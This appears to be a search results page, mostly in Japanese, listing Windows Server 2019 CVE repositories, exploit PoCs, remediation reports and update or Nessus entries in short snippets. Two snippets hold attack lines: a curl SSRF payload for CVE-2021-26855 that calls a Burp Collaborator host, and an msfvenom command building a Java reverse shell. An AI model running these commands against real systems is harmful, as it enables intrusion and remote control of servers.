2006 matches found
cve-2013-3900-remediation-report
修復レポート: CVE-2013-3900 – Windows Server 2019 Azure VM における WinVerifyTrust の脆弱性 概要 Tenable Nessus を使用した認証済み脆弱性評価の過程で、Microsoft Azure でホストされている Windows Server 2019 仮想マシンに CVE-2013-3900 が検出されました。このスキャンでは管理者資格情報を利用し、システムの構成とレジストリ設定を詳細に調査することができました。 この問題は、Windows が WinVerifyTrust...
CVE-2019-1253
CVE-2019-1253 MSRCに送信した元のPoC。 この問題は2019年9月のPatch Tuesdayの定例アップデートで修正されました。 CVE-2019-1253 - Windowsの特権昇格の脆弱性として割り当てられました。 https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1253 2つのPoCがあります。最初にMSRCに送信したものは"AppxExploitEdge"ディレクトリにあります。...
CVE-2020-1472-LAB
ZeroLogon テストスクリプト CVE-2020-1472 の ZeroLogon エクスプロイトの脆弱性をテストするためのラボ環境です。 このリポジトリには、Impacket ライブラリを使用して脆弱性をテストする Python スクリプトと、ドメインコントローラDCとして構成された Windows Server 2019 を搭載した仮想マシンVMが含まれています。 このスクリプトは、Netlogon 認証バイパスを試みます。 バイパスに成功すると即座に終了し、Netlogon 操作は一切実行しません。 DC がパッチ適用済みの場合、検出スクリプトは複数ペアの RPC...
CVE-2021-26855_PoC
CVE-2021-26855PoC Exchange Server 2019 に対する私の初期の SSRF ペイロード CVE-2021-26855... ペイロード 1 curl -i -s -k -X $'GET' -H $'Host: ' -H $'User-Agent: alex666' -H $'Connection: close' -b $'X-AnonResource=true; X-AnonResource-Backend=8r0apyvx5dt613lnaabo1qotwk2bq0.burpcollaborator.net/ecp/default.flt?3;...
Remediating-CVE-2013-3900-EnableCertPaddingCheck-
修復レポート: CVE-2013-3900 on Windows Server 2019 Azure VM CVE-2013-3900 EnableCertPaddingCheck の修復 Tenable/Nessus を使用した認証済み脆弱性スキャン中に、Microsoft Azure でホストされている Windows Server 2019 Datacenter インスタンスで CVE-2013-3900 を特定しました。スキャンでは有効な管理資格情報を使用して詳細なチェックが実行され、OS レベルでこの脆弱性が存在することが確認されました。 CVE-2013-3900 は...
CVE-2021-1675-LPE
CVE-2021-1675/CVE-2021-34527 のローカル権限昇格エディション CVE-2021-1675/CVE-2021-34527（別名 PrintNightmare）のローカル権限昇格実装です。このエクスプロイトは、Zhiniang Peng（@edwardzpeng）とXuefeng Li（@lxf02942370）による公開コードを編集したものです。 プロジェクトを MSVC で開き、x64 Release モードでコンパイルしてください。エクスプロイトは自動的に UNIDRV.DLL を探すため、コードの変更は不要です。 使用方法 エクスプロイトを実行する際は、D...
CVE-2022-26923
CVE-2022-26923 説明 この脆弱性により、デフォルトのActive Directory環境でActive Directory Certificate Services（AD CS）サーバーの役割がインストールされている場合、低権限ユーザーが権限をドメイン管理者に昇格させることができました。 これは主にActive Directory Certificate Services（AD CS）の役割に関連しています。AD CSの役割はWindows Serverの役割であり、組織向けに公開鍵基盤（PKI）を構築し、公開鍵暗号、デジタル証明書、デジタル署名機能を提供できます。AD...
CVE-2025-53770
CVE-2025-53770 – Microsoft SharePoint Server 2019 の認証不要RCE（デシリアライゼーション経由） 脆弱性作成者: Agampreet Singh ツール: RedRoot https://github.com/Agampreet-Singh/RedRoot 日付: 2025年8月7日 テスト環境: SharePoint Server 2019 v16.0.10383.20020 on Windows Server 2019 CVE-ID: CVE-2025-53770 脆弱性タイプ: 認証不要のリモートコード実行（RCE） 攻撃ベクトル:...
CVE-2022-30136
CVE-2022-30136 Windows ネットワーク ファイル システム リモート エクスプロイト DoS PoC PoC: https://github.com/fortra/CVE-2022-30136 詳細: https://www.coresecurity.com/core-l...136-windows-network-file-system-vulnerability 影響を受ける製品 : Windows サーバー 2016, 2019...
CVE-2023-26360-RCE
CVE-2023-26360 - ColdFusion 2021 におけるリモートコード実行 スクリプトは最初の試行で動作しないことがあります。数回試して動作させてください。 実行方法 msfvenom でペイロードを作成 msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java server.py の起動 このサーバーは、cve.2023-26360.py による初期アクセス後に ColdFusion サーバーにペイロードを送信するため、最初に起動しておく必要があります。 python3...
2026-09 Cumulative Update for .NET Framework 3.5, 4.7.2 and 4.8 for Windows Server 2019 for x64 (KB5126144)
2026-09 Cumulative Update for .NET Framework 3.5, 4.7.2 and 4.8 for Windows Server 2019 for x64 KB5126144...
2026-09 Cumulative Update for Windows Server 2019 for x64-based Systems (KB5122876)
2026-09 Cumulative Update for Windows Server 2019 for x64-based Systems KB5122876...
KB5122876: Windows 10 version 1809 / Windows Server 2019 Security Update (September 2026)
The remote Windows host is missing security update 5122876. It is, therefore, affected by multiple vulnerabilities - Heap-based buffer overflow in Windows USB Mass Storage Class Driver allows an unauthorized attacker to execute code over a network. CVE-2026-68839 - Integer underflow wrap or...
2026-08 Cumulative Update for .NET Framework 3.5, 4.7.2 and 4.8 for Windows Server 2019 for x64 (KB5121645)
A security issue has been identified in a Microsoft software product that could affect your system. You can help protect your system by installing this update from Microsoft. For a complete listing of the issues that are included in this update, see the associated Microsoft Knowledge Base article...
2026-08 Cumulative Update for Windows Server 2019 for x64-based Systems (KB5120238)
A security issue has been identified in a Microsoft software product that could affect your system. You can help protect your system by installing this update from Microsoft. For a complete listing of the issues that are included in this update, see the associated Microsoft Knowledge Base article...
August 11, 2026-KB5120698 Cumulative Update for .NET Framework 3.5 and 4.7.2 for Windows 10, version 1809 and Windows Server 2019
None None...
August 11, 2026-KB5120703 Cumulative Update for .NET Framework 3.5 and 4.8 for Windows 10, version 1809 and Windows Server 2019
None None...
KB5120238: Windows 10 version 1809 / Windows Server 2019 Security Update (August 2026)
The remote Windows host is missing security update 5120238. It is, therefore, affected by multiple vulnerabilities - Stack-based buffer overflow in Windows DNS allows an unauthorized attacker to execute code over a network. CVE-2026-62878 - Use after free in Windows Deployment Services allows an...
Security Updates for Microsoft SharePoint Server 2019 (August 2026)
The Microsoft SharePoint Server 2019 installation on the remote host is missing security updates. It is, therefore, affected by multiple vulnerabilities: - Improper authentication in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network. CVE-2026-62827 -...